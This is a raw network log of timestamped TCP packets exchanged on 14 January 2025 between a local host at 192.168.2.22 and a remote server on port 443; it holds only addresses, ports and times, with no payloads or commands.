Jan 14, 2025 15:25:42.557363987 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557370901 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557403088 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557440042 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557482004 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557482004 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557497978 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557526112 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557526112 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557940960 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561490059 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.561522961 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.561553955 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561562061 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.561572075 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561650038 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561726093 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.561764002 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561774969 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.561832905 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.561925888 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.563704967 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.563755035 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.563792944 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.563792944 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.563802958 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.563816071 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.567948103 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.568003893 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.568064928 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.568064928 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.568072081 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569348097 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569401026 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569406986 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.569413900 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569448948 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.569506884 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569550991 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569569111 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.569574118 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.569598913 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.569598913 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570031881 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570070982 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570082903 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570087910 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570122957 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570445061 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570488930 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570538044 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570538044 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570544004 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570879936 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570924997 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570957899 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.570962906 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.570986986 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571059942 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571098089 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571101904 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571154118 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571156025 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571224928 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571274996 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571326971 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571368933 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571368933 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571374893 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571583033 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571722031 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571760893 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571777105 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.571782112 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.571820021 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.572316885 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.572798014 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.572838068 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.572885036 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.572885036 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.572890043 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.572937965 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573254108 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573297977 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573299885 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573309898 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573374033 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573509932 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573713064 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573750973 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573793888 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573793888 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.573800087 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.573884010 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.574588060 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.574626923 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.574635029 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.574647903 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.574696064 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.574786901 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.642055988 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.642106056 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.642144918 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.642157078 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.642174959 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.642333031 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.645203114 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.645248890 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.645293951 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.645293951 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.645302057 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.645595074 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.652705908 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.652756929 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.652803898 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.652816057 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.652863026 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.652863026 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.652901888 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.652947903 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.652995110 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.652995110 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653001070 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653079033 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653117895 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653117895 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653125048 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653136969 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653182983 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653254032 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653266907 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653312922 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653340101 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653348923 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653393030 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653620005 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653662920 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.653717041 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653717041 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.653723955 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.654047012 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.654292107 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.654337883 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.654364109 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.654370070 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.654432058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.655335903 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.728904009 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.728972912 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.728996992 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.729006052 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.729057074 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.734760046 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.734808922 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.734828949 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.734836102 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.734855890 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.738564014 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.740979910 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.741025925 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.741058111 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.741065025 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.741082907 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.741358995 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.741435051 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.741492033 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.741568089 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.741645098 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.741877079 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.742172956 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.742218971 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.742228985 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.742233992 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.742257118 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.742503881 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743076086 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743118048 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743139982 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743145943 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743169069 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743309021 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743397951 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743438005 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743467093 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743470907 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.743558884 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.743642092 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.744355917 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.744396925 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.744443893 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.744443893 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.744451046 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.744621038 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.815696955 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.815726042 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.815778017 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.815778017 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.815785885 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.816348076 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.818692923 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.818747997 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.818761110 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.818768024 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.818844080 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.819171906 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826343060 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826385975 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826387882 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826399088 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826436043 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826477051 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826518059 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826572895 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826572895 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826580048 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826664925 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826739073 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826778889 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826827049 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826827049 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826833010 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826883078 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826916933 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826946974 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.826951981 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.826994896 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.827049971 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.827096939 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.827147007 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.827153921 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.827164888 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.827617884 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.828399897 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.828458071 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.828476906 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.828481913 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.828531027 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.829912901 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.902460098 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.902512074 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.902555943 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.902555943 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.902576923 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.902647972 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.905045986 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.905086994 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.905127048 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.905127048 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.905143023 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912604094 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912657976 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912673950 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.912697077 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912727118 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.912761927 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912784100 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.912791014 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.912817955 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.912827969 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913202047 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913202047 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913214922 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913256884 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913300037 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913315058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913320065 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913429022 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913429022 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913577080 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913613081 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913615942 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913625002 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913630009 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.913681030 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.913913012 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.914146900 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.914187908 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.914203882 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.914211988 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.914225101 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.914225101 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.914609909 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.915214062 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.915261984 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.915307045 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.915307045 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.915330887 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.915537119 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.989236116 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.989288092 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.989331961 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.989331961 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.989350080 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.989487886 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.991767883 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.991808891 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.991851091 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.991851091 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.991858959 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.991978884 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999341965 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999385118 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999428988 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999428988 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999437094 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999490023 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999638081 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999679089 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999691963 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999705076 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.999737978 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.999910116 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000082970 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000125885 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000149965 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000155926 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000169039 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000236988 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000508070 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000551939 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000560045 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000572920 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.000638962 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000729084 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.000971079 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.001017094 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.001035929 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.001039982 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.001099110 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.001188993 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.002111912 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.002157927 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.002207041 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.002207041 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.002213955 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.002260923 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.081672907 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081732035 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081787109 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.081787109 CET	49163	443	192.168.2.22	51.159.14.89
